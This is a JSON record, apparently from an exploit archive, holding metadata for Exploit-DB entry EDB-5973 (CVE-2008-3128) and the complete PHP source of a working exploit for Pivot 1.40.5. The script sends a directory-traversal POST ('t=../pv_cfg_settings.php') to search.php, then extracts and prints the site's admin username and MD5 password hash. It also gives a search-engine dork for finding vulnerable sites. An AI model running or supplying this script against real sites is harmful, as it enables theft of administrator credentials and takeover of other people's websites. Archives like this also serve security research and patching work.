{"exploit":{"id":"EDB-5973","name":"Pivot 1.40.5 - Dreamwind 'load_template()' Credentials Disclosure","description":"Pivot 1.40.5 - Dreamwind 'load_template()' Credentials Disclosure","cves":["CVE-2008-3128"],"author":"Nine:Situations:Group","published":"2008-06-30","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5973","path":"exploits/php/webapps/5973.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5973.php","vulnerabilities":[{"id":"CVE-2008-3128","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in search.php in Pivot 1.40.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the t parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-3128","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-3128"},"updatedAt":"2024-08-07T09:28:41.753Z","retrievedAt":"2026-11-26T22:06:30.650Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5973.png?v=2","url":"https://exploitbin.com/exploits/EDB-5973","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5973/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5973/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n        /*\n\n         Pivot 1.40.5 'Dreamwind' load_template() credentials disclosure exploit\n\n         by Nine:Situations:Group::bookoo\n\n         our site: http://retrogod.altervista.org/\n         software site: http://www.pivotlog.net/\n\n         Google dork: \"by Pivot - 1.40.5\"  +'Dreadwind' -pivotlog.net\n\n\n         vulnerability:\n\n         search.php - lines 98-109:\n\n         ...\n         // Set the template for the tags page\n         if (!isset($Pivot_Vars['t']) || empty($Pivot_Vars['t'])) {\n\t     if (isset($Weblogs[$Current_weblog]['extra_template']) && ($Weblogs[$Current_weblog]['extra_template']!=\"\") ) {\n\t    \t$template = $Weblogs[$Current_weblog]['extra_template'];\n\t     } else {\n\t\t$template = $Weblogs[$Current_weblog]['archive_template'];\n\t     }\n         } else {\n\t      $template = $Pivot_Vars['t'];\n         }\n\n         $template_html = load_template($template);\n         ...\n\n         't' argument is passed to load_template() function without checks\n\n         see load_template() function in /modules/module_parser.php - lines 778-797\n\n         ...\n         function load_template($basename) {\n\t     global $template_cache, $Paths;\n\n\t     $filename = $Paths['templates_path'].$basename;\n\n\t     if (isset($template_cache[$basename])) {\n\t    \treturn $template_cache[$basename];\n\t     } else {\n\n\t  \tif (!(file_exists($filename))) {\n\t \t\t$filename = $Paths['templates_path'].\"entrypage_template.html\";\n\t\t}\n            $filetext=implode(\"\", file($filename)); // <----------------------------|_ lol !!!\n\n\t\t$template_cache[$basename]=$filetext;\n\n\t\treturn $filetext;\n\t }\n\n        }\n        ...\n\n        our argument is passed to a file() function, so, regardless of php settings,\n        we can see php files at screen trough directory traversal attacks, including the\n        configuration file (pv_cfg_settings.php), which cointains the admin credentials\n        (username/md5 hash/sessions...)\n\n        note: 't' can be passed as GET or POST\n        ----------------------------------------------------------------------------\n\n        If you think this poc is useful, please help us to improve our equipment and\n        donate through the paypal button on our site!\n        */\n\n        error_reporting(7);\n        $host=$argv[1];\n        $path=$argv[2];\n        $argv[3] ? $port = (int) $argv[3] : $port = 80;\n        $argv[2] ? print(\"attackin'...\\n\") : die (\"syntax: php \".$argv[0].\" [host] [path] [[port]]\");\n\n        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;\n        $win ? dl(\"php_curl.dll\") : dl(\"php_curl.so\");\n\n        $url = \"http://$host:$port\";\n\n        $exploit=\"t=../pv_cfg_settings.php\";\n\n        $header =\"POST \".$path.\"search.php HTTP/1.0\\r\\n\";\n        $header.=\"Host: $host\\r\\n\";\n        $header.=\"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n        $header.=\"Content-Length: \".strlen($exploit).\"\\r\\n\";\n        $header.=\"Connection: Close\\r\\n\\r\\n\";\n        $header.=$exploit;\n\n        $ch = curl_init();\n        curl_setopt($ch, CURLOPT_URL,$url);\n        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n        curl_setopt($ch, CURLOPT_TIMEOUT, 0);\n        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);\n\n\n        $data = curl_exec($ch); if (curl_errno($ch)) {\n           print curl_error($ch).\"\\n\";\n        } else {\n           curl_close($ch);\n        }\n        // print $data.\"\\n\";\n        preg_match(\"/userlevel\\|4\\|/\",$data) ? print(\"exploit succeeded!\") : die(\"exploit failed!\");\n        $tmp=explode(\"user-\",$data);$tmpii=explode(\"!\",$tmp[1]);$admin=$tmpii[0];\n        print \"\\n\\nadmin user: \".$admin.\"\\n\";\n        $tmp=explode(\"pass|\",$data);$tmpii=explode(\"|\",$tmp[1]);$hash=$tmpii[0];\n        print \"\\nmd5 hash  : \".$hash.\"\\n\";\n\n\n?>\n\n# milw0rm.com [2008-06-30]","sha256":"9821c1b52cf8bcc12a56bb2872a8adad967dba26e5a46b9145be9d580b909545","bytes":3747,"fetchedAt":"2026-11-26T22:06:30.395Z","encoding":"utf-8 (display only; download retains original bytes)"}